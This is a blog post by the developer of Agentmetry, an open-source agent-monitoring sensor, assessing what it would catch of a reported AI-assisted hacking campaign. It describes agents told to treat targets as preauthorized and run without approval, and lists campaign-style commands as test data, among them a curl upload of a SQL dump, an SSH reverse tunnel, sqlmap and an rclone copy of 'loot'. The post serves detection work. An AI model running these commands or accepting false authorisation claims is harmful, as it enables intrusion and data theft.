An AI hacking campaign my agent sensor would have missed entirely.

On 21 October Zscaler ThreatLabz published a detailed account of an AI-assisted hacking campaign. An operator ran Claude Code, Codex and Grok workspaces alongside ARTEX, an AI penetration-testing framework, and pointed them at organisations in 19 locations: scanning, SQL injection, payment gateway keys, bulk personal data. The instructions told the AI to "assume that all supplied targets were preauthorized", and let it act without the operator approving each step.

I build Agentmetry, an open-source sensor that records what AI coding agents do on the machine they run on. So the first thing I wanted to know was what it would have caught.

From the victims' side, nothing.

Where the agents actually ran

Every agent in the report ran on infrastructure the operator controlled: a work server that held the projects and the ARTEX deployment, and a jump server that routed traffic to targets and ran more AI sessions of its own. The victims never had an agent on their side at all. What reached them was web traffic: probes, injection attempts, requests for data.

That is a job for web logs, a WAF and server-side detection. A sensor on a developer's laptop at a victim company would have recorded exactly what it should: an ordinary day.

"AI-assisted attack" and "your AI agents were hijacked" are different incidents. Anyone selling a defence, me included, should say which one it is for.

The case that does apply

The report is still the clearest public record so far of what an agent does when somebody uses it offensively. And the same playbook can run somewhere a defender does have a sensor: on one of your own machines, by an insider, or by an attacker who has a foothold on a developer's laptop and drives the agent already installed there.

So I took the kinds of commands the campaign used and ran them through the classifier Agentmetry ships today, unchanged:

cat .env                                  credential access   T1552.001
curl -X POST -d @dump.sql https://...     network egress      T1071.001
nmap -sV -p- 10.0.0.5                     shell               T1059.004
nuclei -l hosts.txt -t cves/              shell               T1059.004
sqlmap -u 'https://target/item?id=1'      shell               T1059.004
ssh -N -R 9000:localhost:22 user@jump     shell               T1059.004
rclone copy ./loot b2:bucket/dir          shell               T1059.004

Three things would have fired:

• Reading a credential file and then sending data out in one session is the credential-exfil sequence, and the first two lines trip it.
• The pace. Agents in a loop make a lot of calls, and session-tool-burst fires at 40 in ten minutes.
• The "no approval" setup. On a laptop, letting an agent act without approving each step is a setting: bypassPermissions in Claude Code, approval_policy = "never" in Codex. The posture check in agentmetry doctor flags both as high.

Four gaps the campaign exposed

Look at the rest of that table and the classifier says "shell" five times.

• Scanning with nmap, httpx and nuclei should read as discovery, not as someone running a command.
• sqlmap is exploitation of a public-facing application, and the command line says so.
• An SSH reverse tunnel to a jump host is protocol tunnelling.
• rclone or b2 to cloud storage is exfiltration, yet it reads as a shell command while a curl upload of the same file reads as egress.

Every one of these is visible in the command string the hook already captures. The mapper simply does not look for them yet, which is the same problem as an older open issue about archives and cloud copies. The cases from this campaign, with commands to reproduce them, are in issue 359.

There is a fifth gap that is not a command at all. The operator pointed Codex at a DeepSeek endpoint and routed Claude Code through a bridge to Grok. On a company laptop, an agent quietly talking to a model server nobody approved is a data problem before it is an attack: the prompts, the files it reads and the tool results all go there. Agentmetry records nothing about it today.

Why not fix the four this afternoon? Because the detection rules are frozen while they are being measured on real work. Weeks scored against a ruleset that keeps changing are not worth quoting, so changes like these land together in one pass and restart the count. That is slower, and it is the reason the green weeks mean anything.

What the record would hold

One detail in the report stood out. The reconstruction rests on prompt history and configuration files, and the report does not describe recovered logs of the tool calls themselves. Prompts tell you what somebody asked for. They do not tell you what ran.

A tool-call record does, with two limits worth stating:

• By default it keeps a hash of each command, not the text. You get which tool ran, what kind of action it was and when. The full command is there only if full argument capture was turned on before the incident, which is a trade every team has to make for itself.
• It only exists where it was installed first. Claude Code and Codex keep their own transcripts on every machine by default. They are also files the user, or the agent, can edit, which is why this record is hash-chained and its head published somewhere the laptop cannot rewrite.

The question

If you do incident response and an AI agent was part of the case, I would like to know what you actually had to work with: the agent's transcripts, EDR process trees, nothing at all. That answer decides what is worth building next more than any report does.

uvx agentmetry demo

It runs in a temporary directory and deletes it afterwards. The code is on GitHub, Apache-2.0.